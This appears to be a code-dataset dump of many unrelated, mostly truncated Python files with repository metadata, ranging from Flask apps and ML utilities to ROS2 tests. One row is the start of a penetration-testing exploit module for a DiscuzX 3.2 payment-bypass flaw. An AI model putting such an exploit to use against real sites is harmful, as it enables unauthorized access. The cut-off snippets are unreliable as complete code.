core/python/spirit/parameters/__init__.py
SpiritSuperUser/spirit
fbe69c2a9b7a73e8f47d302c619303aea2a22ace
[ "MIT" ]
null
null
null
core/python/spirit/parameters/__init__.py
SpiritSuperUser/spirit
fbe69c2a9b7a73e8f47d302c619303aea2a22ace
[ "MIT" ]
null
null
null
__all__ = ["gneb", "llg"] from spirit.parameters import *
14.75
31
0.677966
__all__ = ["gneb", "llg"] from spirit.parameters import *
true
true
f7260dbc831f7d79b0b85a4ce2ff386597e672d5
226
py
Python
src/robust_deid/sequence_tagging/dataset_builder/__init__.py
obi-ml-public/ehr_deidentification
c9deaf30b8317689d28a4267d15ec13baa9791cd
[ "MIT" ]
null
null
null
src/robust_deid/sequence_tagging/dataset_builder/__init__.py
obi-ml-public/ehr_deidentification
c9deaf30b8317689d28a4267d15ec13baa9791cd
[ "MIT" ]
null
null
null
src/robust_deid/sequence_tagging/dataset_builder/__init__.py
obi-ml-public/ehr_deidentification
c9deaf30b8317689d28a4267d15ec13baa9791cd
[ "MIT" ]
null
null
null
from .ner_labels import NERLabels from .ner_dataset import NERDataset from .label_mapper import LabelMapper from .dataset_tokenizer import DatasetTokenizer __all__=["NERLabels", "NERDataset", "LabelMapper", "DatasetTokenizer"]
45.2
70
0.836283
from .ner_labels import NERLabels from .ner_dataset import NERDataset from .label_mapper import LabelMapper from .dataset_tokenizer import DatasetTokenizer __all__=["NERLabels", "NERDataset", "LabelMapper", "DatasetTokenizer"]
true
true
f7260dee0491f9cc625cee893dce44cee0a86ee8
1,461
py
Python
src/pretix/plugins/stripe/tasks.py
NicsTr/pretix
e6d2380d9ed1836cc64a688b2be20d00a8500eab
[ "ECL-2.0", "Apache-2.0" ]
1
2020-04-25T00:11:00.000Z
2020-04-25T00:11:00.000Z
src/pretix/plugins/stripe/tasks.py
NicsTr/pretix
e6d2380d9ed1836cc64a688b2be20d00a8500eab
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
src/pretix/plugins/stripe/tasks.py
NicsTr/pretix
e6d2380d9ed1836cc64a688b2be20d00a8500eab
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
import logging from urllib.parse import urlsplit import stripe from django.conf import settings from pretix.base.services.tasks import EventTask from pretix.celery_app import app from pretix.multidomain.urlreverse import get_event_domain from pretix.plugins.stripe.models import RegisteredApplePayDomain logger = logg...
28.096154
88
0.718686
import logging from urllib.parse import urlsplit import stripe from django.conf import settings from pretix.base.services.tasks import EventTask from pretix.celery_app import app from pretix.multidomain.urlreverse import get_event_domain from pretix.plugins.stripe.models import RegisteredApplePayDomain logger = logg...
true
true
f7260ece4a1e3fc3b43d89b2b456333299b82c9d
2,817
py
Python
Q/questionnaire/serializers/serializers_ontologies.py
ES-DOC/esdoc-questionnaire
9301eda375c4046323265b37ba96d94c94bf8b11
[ "MIT" ]
null
null
null
Q/questionnaire/serializers/serializers_ontologies.py
ES-DOC/esdoc-questionnaire
9301eda375c4046323265b37ba96d94c94bf8b11
[ "MIT" ]
477
2015-01-07T18:22:27.000Z
2017-07-17T15:05:48.000Z
Q/questionnaire/serializers/serializers_ontologies.py
ES-DOC/esdoc-questionnaire
9301eda375c4046323265b37ba96d94c94bf8b11
[ "MIT" ]
null
null
null
#################### # ES-DOC CIM Questionnaire # Copyright (c) 2017 ES-DOC. All rights reserved. # # University of Colorado, Boulder # http://cires.colorado.edu/ # # This project is distributed according to the terms of the MIT license [http://www.opensource.org/licenses/MIT]. #################### from djan...
34.777778
115
0.611999
.models_ontologies import QOntology from Q.questionnaire.q_utils import serialize_model_to_dict from Q.questionnaire.q_constants import * class QOntologySerializer(QSerializer): class Meta: model = QOntology fields = ( 'id', 'name', 'version', 'docu...
true
true
f726102b761a9e6adbb75d3300ca03971c3cffb7
533
py
Python
app/util.py
mkhumtai/6CCS3PRJ
c7d5bedf9529f6e2b7a57e102761716c11f961c8
[ "MIT" ]
null
null
null
app/util.py
mkhumtai/6CCS3PRJ
c7d5bedf9529f6e2b7a57e102761716c11f961c8
[ "MIT" ]
null
null
null
app/util.py
mkhumtai/6CCS3PRJ
c7d5bedf9529f6e2b7a57e102761716c11f961c8
[ "MIT" ]
null
null
null
# -*- encoding: utf-8 -*- """ Flask Boilerplate Author: AppSeed.us - App Generator """ from flask import json from app import app, db from .common import * # build a Json response def response(data): return app.response_class(response=json.dumps(data), status=200, ...
16.65625
58
0.594747
from flask import json from app import app, db from .common import * def response(data): return app.response_class(response=json.dumps(data), status=200, mimetype='application/json') def g_db_commit(): db.session.commit() def g_db_add(obj): ...
true
true
f726102cba78d004ea78e8999b8ab8ecc337e74b
968
py
Python
arm_prosthesis/models/gesture.py
paulrozhkin/arm_prosthesis_raspberry
a643dc84109f1d516fa2ca50414f95f408d6da7d
[ "MIT" ]
2
2021-11-08T01:52:36.000Z
2021-11-08T01:52:38.000Z
arm_prosthesis/models/gesture.py
paulrozhkin/arm_prosthesis_raspberry
a643dc84109f1d516fa2ca50414f95f408d6da7d
[ "MIT" ]
null
null
null
arm_prosthesis/models/gesture.py
paulrozhkin/arm_prosthesis_raspberry
a643dc84109f1d516fa2ca50414f95f408d6da7d
[ "MIT" ]
1
2020-11-08T16:45:23.000Z
2020-11-08T16:45:23.000Z
from typing import List from arm_prosthesis.models.gesture_action import GestureAction class Gesture: def __init__(self, uuid: str, name: str, last_time_sync: int, iterable: bool, repetitions: int, actions: List[GestureAction]): self._uuid = uuid self._name = name ...
24.820513
100
0.615702
from typing import List from arm_prosthesis.models.gesture_action import GestureAction class Gesture: def __init__(self, uuid: str, name: str, last_time_sync: int, iterable: bool, repetitions: int, actions: List[GestureAction]): self._uuid = uuid self._name = name ...
true
true
f726106467d8fad1a2a9e799965ebffea0070438
2,395
py
Python
image-manipulation-processing/thresholding.py
mozbatman/Basic-Opencv-Example
e00aab203064e3e0f225c6aa062997aabe05ccdb
[ "MIT" ]
null
null
null
image-manipulation-processing/thresholding.py
mozbatman/Basic-Opencv-Example
e00aab203064e3e0f225c6aa062997aabe05ccdb
[ "MIT" ]
null
null
null
image-manipulation-processing/thresholding.py
mozbatman/Basic-Opencv-Example
e00aab203064e3e0f225c6aa062997aabe05ccdb
[ "MIT" ]
null
null
null
## Thresholding = Giriş olarak verilen görüntüyü ikili görüntüye çevirmek için kullanılan bir yöntemdir. İkili görüntü (binary), görüntünün siyah ve beyaz olarak tanımlanmasıdır. # Morfolojik operatörler gibi görüntü üzerindeki gürültüleri azaltmak veya nesne belirlemek gibi farklı amaçlar için kullanılır. import cv2...
38.015873
179
0.746555
cv2.imshow('1 Threshold Binary', thresh1) ret,thresh2 = cv2.threshold(image, 127, 255, cv2.THRESH_BINARY_INV) cv2.imshow('2 Threshold Binary Inverse', thresh2) ret,thresh3 = cv2.threshold(image, 127, 255, cv2.THRESH_TRUNC) cv2.imshow('3 THRESH TRUNC', thresh3) ret,thresh4 = cv2.threshold(image, 127, 255, cv2.THRE...
true
true
f726110264ab39655e21d921ad0fde90f93c841c
15,517
py
Python
face_alignment/FaceLandmarksDataset.py
Efreeto/face-alignment
d496866ac3d66c8353ba3e0305f16ac8a2ccc017
[ "BSD-3-Clause" ]
2
2018-03-22T01:46:49.000Z
2020-11-06T06:58:01.000Z
face_alignment/FaceLandmarksDataset.py
Efreeto/face-alignment
d496866ac3d66c8353ba3e0305f16ac8a2ccc017
[ "BSD-3-Clause" ]
null
null
null
face_alignment/FaceLandmarksDataset.py
Efreeto/face-alignment
d496866ac3d66c8353ba3e0305f16ac8a2ccc017
[ "BSD-3-Clause" ]
null
null
null
import torch from torch.utils.data import Dataset from skimage import io, color, transform import torchvision import os, glob import numpy as np import random from scipy import ndimage from PIL import Image import torch.nn.functional as F from . import utils ###########################################################...
40.620419
128
0.577431
import torch from torch.utils.data import Dataset from skimage import io, color, transform import torchvision import os, glob import numpy as np import random from scipy import ndimage from PIL import Image import torch.nn.functional as F from . import utils rn image alpha = image.new().resize_(3).normal_(0,...
true
true
f726125525cfe331ad2b253c9640d4eea089106b
19,878
py
Python
swift3/s3_token_middleware.py
AymericDu/swift3
a64be4ed9c6657fc5471e87e08e6c7465b7bd444
[ "Apache-2.0" ]
10
2017-04-21T13:56:48.000Z
2022-03-29T17:15:40.000Z
swift3/s3_token_middleware.py
AymericDu/swift3
a64be4ed9c6657fc5471e87e08e6c7465b7bd444
[ "Apache-2.0" ]
12
2017-05-04T16:23:35.000Z
2021-09-08T16:42:58.000Z
swift3/s3_token_middleware.py
AymericDu/swift3
a64be4ed9c6657fc5471e87e08e6c7465b7bd444
[ "Apache-2.0" ]
10
2017-05-10T14:00:42.000Z
2019-10-28T13:24:57.000Z
# Copyright 2012 OpenStack Foundation # Copyright 2010 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # Copyright 2011,2012 Akira YOSHIYAMA <akirayoshiyama@gmail.com> # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "Lic...
43.784141
79
0.574203
import base64 import json from keystoneclient.v3 import client as keystone_client from keystoneauth1 import session as keystone_session from keystoneauth1 import loading as keystone_loading import requests import httplib import six from six.moves import urllib from swift.common.swob import Reque...
true
true
f726129b2b4b6cf86775da7c613d9ac7bd8cbcd9
1,396
py
Python
exploit/cms_discuzx_3_2_authority_bypass.py
Micr067/pentestdb
6aa06e1406589567d51ab63a88bfe47416e906e9
[ "Apache-2.0" ]
686
2016-02-06T15:11:12.000Z
2022-03-30T10:55:29.000Z
exploit/cms_discuzx_3_2_authority_bypass.py
WinDyXuu/pentestdb
6aa06e1406589567d51ab63a88bfe47416e906e9
[ "Apache-2.0" ]
6
2016-08-14T15:13:31.000Z
2020-03-03T14:01:28.000Z
exploit/cms_discuzx_3_2_authority_bypass.py
WinDyXuu/pentestdb
6aa06e1406589567d51ab63a88bfe47416e906e9
[ "Apache-2.0" ]
284
2015-12-19T07:42:05.000Z
2022-03-13T11:58:38.000Z
#!/usr/bin/env python #-*- coding:utf-8 -*- ''' Pentestdb, a database for penetration test. Copyright (c) 2015 alpha1e0 ''' from pentest.libs.exploit import Exploit from pentest.libs.exploit import Result class DiscuzAB(Exploit): expName = u"DiscuzX 3.2绕过虚拟币支付查看内容" version = "1.0" author = "alpha1e0" ...
29.702128
193
0.62894
from pentest.libs.exploit import Exploit from pentest.libs.exploit import Result class DiscuzAB(Exploit): expName = u"DiscuzX 3.2绕过虚拟币支付查看内容" version = "1.0" author = "alpha1e0" language = "php" appName = "discuz" appVersion = "x3.2" reference = ['http://www.secpulse.com/archives/333...
true
true
f72613e5e98b0d452caf3c66a76ef87d7056fcbc
650
py
Python
006_pycoingecko_intro/app.py
peterhaasme/100daysofweb3
5d41ef2261733766c4b19e42cc8a9e6c4b52c75c
[ "Unlicense" ]
1
2022-02-18T04:05:33.000Z
2022-02-18T04:05:33.000Z
006_pycoingecko_intro/app.py
peterhaasme/100daysofweb3
5d41ef2261733766c4b19e42cc8a9e6c4b52c75c
[ "Unlicense" ]
null
null
null
006_pycoingecko_intro/app.py
peterhaasme/100daysofweb3
5d41ef2261733766c4b19e42cc8a9e6c4b52c75c
[ "Unlicense" ]
null
null
null
# 006_pycoingecko_intro # explore pycoingecko usage import json from pprint import pprint from pycoingecko import CoinGeckoAPI cg = CoinGeckoAPI() # Check API server status ping = cg.ping() pprint(ping) # Get coin price coin_price = cg.get_price(ids='bitcoin', vs_currencies='usd') pprint(coin_price) # Save all sup...
22.413793
61
0.741538
import json from pprint import pprint from pycoingecko import CoinGeckoAPI cg = CoinGeckoAPI() ping = cg.ping() pprint(ping) coin_price = cg.get_price(ids='bitcoin', vs_currencies='usd') pprint(coin_price)
true
true
f72614a99c832ad2bc453e1394d9ab2f30537e5f
30,583
py
Python
nni/tools/nnictl/legacy_launcher.py
dutxubo/nni
c16f4e1c89b54b8b80661ef0072433d255ad2d24
[ "MIT" ]
null
null
null
nni/tools/nnictl/legacy_launcher.py
dutxubo/nni
c16f4e1c89b54b8b80661ef0072433d255ad2d24
[ "MIT" ]
null
null
null
nni/tools/nnictl/legacy_launcher.py
dutxubo/nni
c16f4e1c89b54b8b80661ef0072433d255ad2d24
[ "MIT" ]
null
null
null
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import json import os from pathlib import Path import sys import string import random import time import tempfile import re from subprocess import Popen, check_call, CalledProcessError, PIPE, STDOUT from nni.experiment.config import ExperimentCon...
49.647727
140
0.688552
import json import os from pathlib import Path import sys import string import random import time import tempfile import re from subprocess import Popen, check_call, CalledProcessError, PIPE, STDOUT from nni.experiment.config import ExperimentConfig, convert from nni.tools.annotation import expand_annotations, gener...
true
true
f7261540ddd2002ae7277a840f8220797a974449
1,398
py
Python
homeassistant/components/light/isy994.py
beschouten/home-assistant
f50c30bbbad4d92e342c8547630c63c0c7882803
[ "MIT" ]
1
2016-07-14T05:20:54.000Z
2016-07-14T05:20:54.000Z
homeassistant/components/light/isy994.py
beschouten/home-assistant
f50c30bbbad4d92e342c8547630c63c0c7882803
[ "MIT" ]
null
null
null
homeassistant/components/light/isy994.py
beschouten/home-assistant
f50c30bbbad4d92e342c8547630c63c0c7882803
[ "MIT" ]
1
2018-11-22T13:55:23.000Z
2018-11-22T13:55:23.000Z
""" Support for ISY994 lights. For more details about this platform, please refer to the documentation at https://home-assistant.io/components/isy994/ """ import logging from homeassistant.components.isy994 import ( HIDDEN_STRING, ISY, SENSOR_STRING, ISYDeviceABC) from homeassistant.components.light import ATTR_B...
29.125
77
0.690272
import logging from homeassistant.components.isy994 import ( HIDDEN_STRING, ISY, SENSOR_STRING, ISYDeviceABC) from homeassistant.components.light import ATTR_BRIGHTNESS from homeassistant.const import STATE_OFF, STATE_ON def setup_platform(hass, config, add_devices, discovery_info=None): logger = logging.get...
true
true
f72615697ea7f0f72fe65505596ea4f2e3766a64
879
py
Python
BAIT2123 Internet Of Things/Practical/Practical 7/test10.py
loozixuan/SoftwareSystemsDevelopment-Y2S1
98c74d191ad5655277b28849d0f63cd0400cee25
[ "MIT" ]
3
2021-12-22T11:23:45.000Z
2022-01-06T04:31:08.000Z
BAIT2123 Internet Of Things/Practical/Practical 7/test10.py
loozixuan/SoftwareSystemsDevelopment-Y2S1
98c74d191ad5655277b28849d0f63cd0400cee25
[ "MIT" ]
null
null
null
BAIT2123 Internet Of Things/Practical/Practical 7/test10.py
loozixuan/SoftwareSystemsDevelopment-Y2S1
98c74d191ad5655277b28849d0f63cd0400cee25
[ "MIT" ]
null
null
null
#from time import * from grovepi import * from paho.mqtt.client import * buzzer = 3 pinMode(buzzer, "OUTPUT") MQTT_BROKER = "192.168.56.1" #The ip address will be vary based on where and how you connect to the Internet #MQTT_BROKER = "broker.emqx.io" #using public mqtt broker to act as subsriber MQTT_TOPIC =...
29.3
109
0.653015
from grovepi import * from paho.mqtt.client import * buzzer = 3 pinMode(buzzer, "OUTPUT") MQTT_BROKER = "192.168.56.1" userdata, flags, rc): print("Connected with result code " + str(rc)) client.subscribe(MQTT_TOPIC) def on_message(client, userdata, msg): print(msg.topic + " " + str(msg...
true
true
f7261569a905f945bb952e0e026fd7beb779ab12
491
py
Python
examples/10_write_simple.py
drbitboy/pylogix
6204f8e288276f407763d56fa0801355daf115a6
[ "Apache-2.0" ]
350
2016-07-26T20:50:26.000Z
2022-03-28T09:22:33.000Z
examples/10_write_simple.py
drbitboy/pylogix
6204f8e288276f407763d56fa0801355daf115a6
[ "Apache-2.0" ]
175
2016-11-16T21:39:25.000Z
2022-03-15T04:40:00.000Z
examples/10_write_simple.py
drbitboy/pylogix
6204f8e288276f407763d56fa0801355daf115a6
[ "Apache-2.0" ]
174
2016-07-25T20:51:37.000Z
2022-03-30T01:29:03.000Z
''' the following import is only necessary because eip is not in this directory ''' import sys sys.path.append('..') ''' The simplest example of writing a tag from a PLC NOTE: You only need to call .Close() after you are done exchanging data with the PLC. If you were going to read/write in a loop or read/write more...
24.55
75
0.723014
import sys sys.path.append('..') from pylogix import PLC comm = PLC() comm.IPAddress = '192.168.1.9' comm.Write('CurrentScreen', 10) comm.Close()
true
true
f7261575ae40a5abf038212e2c31908273819413
745
py
Python
app/urls.py
forestbaba/recipe-app-api
72471dd6a8ad5993a71ae6648026d0d1def5d03d
[ "MIT" ]
11
2018-06-19T01:32:59.000Z
2022-01-28T13:41:20.000Z
app/urls.py
forestbaba/recipe-app-api
72471dd6a8ad5993a71ae6648026d0d1def5d03d
[ "MIT" ]
8
2019-06-11T02:44:04.000Z
2022-02-10T11:55:20.000Z
app/urls.py
forestbaba/recipe-app-api
72471dd6a8ad5993a71ae6648026d0d1def5d03d
[ "MIT" ]
2
2020-07-04T14:14:46.000Z
2021-10-04T11:22:50.000Z
"""app URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based vie...
33.863636
77
0.707383
from django.contrib import admin from django.urls import path urlpatterns = [ path('admin/', admin.site.urls), ]
true
true
f72615d8349f0df9ace6524c51601bcc14b49239
1,472
py
Python
toTheMoon/leetcode_115_DistinctSubsequences.py
jercas/offer66-leetcode-newcode
a2e5256f27dbfb23fc34119fc857cd9b00e28c03
[ "MIT" ]
null
null
null
toTheMoon/leetcode_115_DistinctSubsequences.py
jercas/offer66-leetcode-newcode
a2e5256f27dbfb23fc34119fc857cd9b00e28c03
[ "MIT" ]
null
null
null
toTheMoon/leetcode_115_DistinctSubsequences.py
jercas/offer66-leetcode-newcode
a2e5256f27dbfb23fc34119fc857cd9b00e28c03
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Mon Apr 15 15:37:49 2019 @author: jercas """ """ leetcode-115: 不同的子序列 HARD '动态规划' '字符串' 给定一个字符串 S 和一个字符串 T,计算在 S 的子序列中 T 出现的个数。 一个字符串的一个子序列是指,通过删除一些(也可以不删除)字符且不干扰剩余字符相对位置所组成的新字符串。 (例如,"ACE" 是 "ABCDE" 的一个子序列,而 "AEC" 不是) ___ 0 ...
29.44
75
0.432745
class Solution: def numDistinct(self, s: str, t: str) -> int: dictTimes = {} dictChars = {} for i in range(len(t)): if t[i] in dictChars: dictChars[t[i]].append(t[:i]) else: dictChars[t[i]] = [t[:i]] for i in range(1, ...
true
true
f72615e0cd1ac3bf0fced183806639408d1edf2d
3,061
py
Python
getdoi/getDOIFromURL/science.py
YutoMizutani/getdoi
cf4e1a2bebe2d6cd9f534221a965d6153974f495
[ "MIT" ]
null
null
null
getdoi/getDOIFromURL/science.py
YutoMizutani/getdoi
cf4e1a2bebe2d6cd9f534221a965d6153974f495
[ "MIT" ]
null
null
null
getdoi/getDOIFromURL/science.py
YutoMizutani/getdoi
cf4e1a2bebe2d6cd9f534221a965d6153974f495
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # === About ============================================================================================================ """ science.py Copyright © 2017 Yuto Mizutani. This software is released under the MIT License. Version: 1.0.0 TranslateAuthors: Yuto Mizutani E-mail: ...
32.913978
120
0.49951
from .gettableDOI import GettableDOI from getdoi.scraping.beautifulSoupModel import BeautifulSoupModelImpl class Science(GettableDOI): JOURNAL_URL = 'science.sciencemag.org' JOURNAL_STR = 'Science' DOI_KEY = 'DOI: ' DOI_URL = "https://doi.org/" DOI_STR = 'doi: ' ...
true
true
f72616177243550a1e3e7b68785b0d0fd43a39d3
8,412
py
Python
Intent Recognition Protoype/app.py
AndBuch/intent-recognition-for-dialogs
1a0bdfc8f36cf31e097a662c86f671bb5c820bc1
[ "MIT" ]
null
null
null
Intent Recognition Protoype/app.py
AndBuch/intent-recognition-for-dialogs
1a0bdfc8f36cf31e097a662c86f671bb5c820bc1
[ "MIT" ]
null
null
null
Intent Recognition Protoype/app.py
AndBuch/intent-recognition-for-dialogs
1a0bdfc8f36cf31e097a662c86f671bb5c820bc1
[ "MIT" ]
null
null
null
from flask import Flask, render_template, url_for, request, redirect, session from flask_sqlalchemy import SQLAlchemy import uuid import wave from flask_socketio import emit, SocketIO from datetime import datetime import database_custom import os # Set this variable to "threading", "eventlet" or "gevent" to test the...
30.042857
133
0.526153
from flask import Flask, render_template, url_for, request, redirect, session from flask_sqlalchemy import SQLAlchemy import uuid import wave from flask_socketio import emit, SocketIO from datetime import datetime import database_custom import os async_mode = None dir_path = os.path.dirname(os.path.realpath(__f...
true
true
f72616de29779e50da24b38a39bb7a37b89fe8df
325
py
Python
p_var.py
PacktPublishing/Packt
790c5a01eba5979ba4f22392538197981cb10447
[ "MIT" ]
null
null
null
p_var.py
PacktPublishing/Packt
790c5a01eba5979ba4f22392538197981cb10447
[ "MIT" ]
null
null
null
p_var.py
PacktPublishing/Packt
790c5a01eba5979ba4f22392538197981cb10447
[ "MIT" ]
null
null
null
class car: __topspeed = 0 __name="" def __init__(self): self.__topspeed=250 self.name="SAM" def drive(self): print("Drive Top Speed=" +str(self.__topspeed)) def setTopSpeed(self,speed): self.__topspeed=speed volvo=car() volvo.drive() volvo.setTopSpeed(380) volvo.dr...
17.105263
55
0.627692
class car: __topspeed = 0 __name="" def __init__(self): self.__topspeed=250 self.name="SAM" def drive(self): print("Drive Top Speed=" +str(self.__topspeed)) def setTopSpeed(self,speed): self.__topspeed=speed volvo=car() volvo.drive() volvo.setTopSpeed(380) volvo.dr...
true
true
f726183b6b3459cd5406c87d8bc7c89200072c21
3,203
py
Python
crnt4sbml/safety_wrap.py
PNNL-Comp-Mass-Spec/CRNT4SBML
20406f452863f35f766b504fe2b3f3ab034b62fe
[ "Apache-2.0" ]
null
null
null
crnt4sbml/safety_wrap.py
PNNL-Comp-Mass-Spec/CRNT4SBML
20406f452863f35f766b504fe2b3f3ab034b62fe
[ "Apache-2.0" ]
1
2019-09-26T21:04:31.000Z
2019-09-26T21:04:31.000Z
crnt4sbml/safety_wrap.py
PNNL-Comp-Mass-Spec/CRNT4SBML
20406f452863f35f766b504fe2b3f3ab034b62fe
[ "Apache-2.0" ]
1
2019-10-29T20:41:34.000Z
2019-10-29T20:41:34.000Z
import os import pickle import numpy import antimony import roadrunner import rrplugins import sys roadrunner.Logger.setLevel(roadrunner.Logger.LOG_ERROR) roadrunner.Logger.disableLogging() roadrunner.Logger.disableConsoleLogging() roadrunner.Logger.disableFileLogging() rrplugins.setLogLevel('error') stderr_fileno = ...
27.612069
71
0.73119
import os import pickle import numpy import antimony import roadrunner import rrplugins import sys roadrunner.Logger.setLevel(roadrunner.Logger.LOG_ERROR) roadrunner.Logger.disableLogging() roadrunner.Logger.disableConsoleLogging() roadrunner.Logger.disableFileLogging() rrplugins.setLogLevel('error') stderr_fileno = ...
true
true
f72619392a6697759ea4f17f8067b0b5a3548221
6,841
py
Python
pdm/resolver/providers.py
linw1995/pdm
f2f67f17efd9cd8593ce06a4933cc2303890dcec
[ "MIT" ]
null
null
null
pdm/resolver/providers.py
linw1995/pdm
f2f67f17efd9cd8593ce06a4933cc2303890dcec
[ "MIT" ]
null
null
null
pdm/resolver/providers.py
linw1995/pdm
f2f67f17efd9cd8593ce06a4933cc2303890dcec
[ "MIT" ]
null
null
null
from typing import Any, Dict, Iterable, List, Optional, Union from resolvelib import AbstractProvider from resolvelib.resolvers import RequirementInformation from pdm.models.candidates import Candidate from pdm.models.repositories import BaseRepository from pdm.models.requirements import Requirement from pdm.models.s...
40.720238
86
0.673586
from typing import Any, Dict, Iterable, List, Optional, Union from resolvelib import AbstractProvider from resolvelib.resolvers import RequirementInformation from pdm.models.candidates import Candidate from pdm.models.repositories import BaseRepository from pdm.models.requirements import Requirement from pdm.models.s...
true
true
f726193a37608aae08e652a88fa96a6e2af5182f
427
py
Python
Python1/python1/word_counter.py
ceeblet/OST_PythonCertificationTrack
042e0ce964bc88b3f4132dcbd7e06c5f504eae34
[ "MIT" ]
null
null
null
Python1/python1/word_counter.py
ceeblet/OST_PythonCertificationTrack
042e0ce964bc88b3f4132dcbd7e06c5f504eae34
[ "MIT" ]
null
null
null
Python1/python1/word_counter.py
ceeblet/OST_PythonCertificationTrack
042e0ce964bc88b3f4132dcbd7e06c5f504eae34
[ "MIT" ]
null
null
null
#!/usr/local/bin/python3 """Count the number of different words in a text.""" text = """\ Baa, Baa, Black sheep, Have you any wool? Yes sir, yes sir, Three bags full; One for the master, And one for the dame, And one for the little boy Who lives down the lane.""" for punc in ",?;.": text = text.replace(punc, "") ...
23.722222
61
0.672131
text = """\ Baa, Baa, Black sheep, Have you any wool? Yes sir, yes sir, Three bags full; One for the master, And one for the dame, And one for the little boy Who lives down the lane.""" for punc in ",?;.": text = text.replace(punc, "") print(text) words = set(text.lower().split()) print("There are", len(words), ...
true
true
f72619f4db7804ed8962e86a9e8a707a354a4d0e
32,049
py
Python
ros2interface/test/test_cli.py
craigh92/ros2cli
6c1af39c728145942346b40e998b8a3984f1b6c1
[ "Apache-2.0" ]
null
null
null
ros2interface/test/test_cli.py
craigh92/ros2cli
6c1af39c728145942346b40e998b8a3984f1b6c1
[ "Apache-2.0" ]
null
null
null
ros2interface/test/test_cli.py
craigh92/ros2cli
6c1af39c728145942346b40e998b8a3984f1b6c1
[ "Apache-2.0" ]
1
2021-01-20T03:26:07.000Z
2021-01-20T03:26:07.000Z
# Copyright 2019 Open Source Robotics Foundation, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
40.931034
90
0.55568
import contextlib import itertools import re import sys import unittest from launch import LaunchDescription from launch.actions import ExecuteProcess import launch_testing import launch_testing.actions import launch_testing.asserts import launch_testing.markers import launch_testing.tools import pytes...
true
true
f7261a33bda347e1351ccdc5511b79b1e79f4d69
10,223
py
Python
we.py
TimeTraveller-San/FairGAN
526c2937714fc322714db54dc6a3f392f2c88e18
[ "MIT" ]
8
2020-03-06T12:53:53.000Z
2021-08-31T18:11:36.000Z
we.py
TimeTraveller-San/FairGAN
526c2937714fc322714db54dc6a3f392f2c88e18
[ "MIT" ]
null
null
null
we.py
TimeTraveller-San/FairGAN
526c2937714fc322714db54dc6a3f392f2c88e18
[ "MIT" ]
null
null
null
from __future__ import print_function, division import re import sys import numpy as np import scipy.sparse import codecs from sklearn.decomposition import PCA if sys.version_info[0] < 3: import io open = io.open else: unicode = str """ Tools for debiasing word embeddings Man is to Computer Programmer as W...
36.773381
128
0.555806
from __future__ import print_function, division import re import sys import numpy as np import scipy.sparse import codecs from sklearn.decomposition import PCA if sys.version_info[0] < 3: import io open = io.open else: unicode = str DEFAULT_NUM_WORDS = 27000 FILENAMES = {"g_wiki": "glove.6B.300d.small.txt"...
true
true
f7261adeb044fff4db6dbfd9fb7364d1c5977719
2,556
py
Python
PDK_Generator/inverse_design_y_branch/lumopt/geometries/parameterized_geometry.py
seanlam97/PDK_Generator
15c1f4f56575f8e21ea874443d06ef740ccb5aa5
[ "MIT" ]
null
null
null
PDK_Generator/inverse_design_y_branch/lumopt/geometries/parameterized_geometry.py
seanlam97/PDK_Generator
15c1f4f56575f8e21ea874443d06ef740ccb5aa5
[ "MIT" ]
3
2021-08-24T23:31:42.000Z
2021-08-25T16:45:54.000Z
PDK_Generator/inverse_design_y_branch/lumopt/geometries/parameterized_geometry.py
seanlam97/PDK_Generator
15c1f4f56575f8e21ea874443d06ef740ccb5aa5
[ "MIT" ]
null
null
null
import numpy as np import inspect from lumopt.geometries.geometry import Geometry class ParameterizedGeometry(Geometry): """ Defines a parametrized geometry using any of the built-in geometric structures available in the FDTD CAD. Users must provide a Python function with the signature ('params',...
45.642857
122
0.673709
import numpy as np import inspect from lumopt.geometries.geometry import Geometry class ParameterizedGeometry(Geometry): def __init__(self, func, initial_params, bounds, dx, deps_num_threads=1): self.deps_num_threads=deps_num_threads self.func = func self.current_params = np.array(ini...
true
true
f7261d7103b3c953a4264b678c7599501789f591
1,580
py
Python
2020/python/day-15-cleaned.py
tadhg-ohiggins/advent-of-code
d0f113955940e69cbe0953607f62862f8a8bb830
[ "CC0-1.0" ]
1
2021-12-04T18:09:44.000Z
2021-12-04T18:09:44.000Z
2020/python/day-15-cleaned.py
tadhg-ohiggins/advent-of-code
d0f113955940e69cbe0953607f62862f8a8bb830
[ "CC0-1.0" ]
null
null
null
2020/python/day-15-cleaned.py
tadhg-ohiggins/advent-of-code
d0f113955940e69cbe0953607f62862f8a8bb830
[ "CC0-1.0" ]
null
null
null
from functools import partial from itertools import count from typing import List from tutils import lmap, splitstrip, load_and_process_input DAY = "15" INPUT = f"input-{DAY}.txt" ANSWER1 = 240 ANSWER2 = 505 testdata = [ ([0, 3, 6], 2020, 436), ([1, 3, 2], 2020, 1), ([2, 1, 3], 2020, 10), ([1, 2, 3], 2...
26.333333
63
0.621519
from functools import partial from itertools import count from typing import List from tutils import lmap, splitstrip, load_and_process_input DAY = "15" INPUT = f"input-{DAY}.txt" ANSWER1 = 240 ANSWER2 = 505 testdata = [ ([0, 3, 6], 2020, 436), ([1, 3, 2], 2020, 1), ([2, 1, 3], 2020, 10), ([1, 2, 3], 2...
true
true
f7261da738c0c2709539722e8b91f6ba23d28fd1
8,211
py
Python
bridgedb/test/test_smtp.py
jugheadjones10/bridgedb
94d6bca4b22458c156898785d8f6ccedf562d884
[ "BSD-3-Clause-Clear" ]
null
null
null
bridgedb/test/test_smtp.py
jugheadjones10/bridgedb
94d6bca4b22458c156898785d8f6ccedf562d884
[ "BSD-3-Clause-Clear" ]
null
null
null
bridgedb/test/test_smtp.py
jugheadjones10/bridgedb
94d6bca4b22458c156898785d8f6ccedf562d884
[ "BSD-3-Clause-Clear" ]
null
null
null
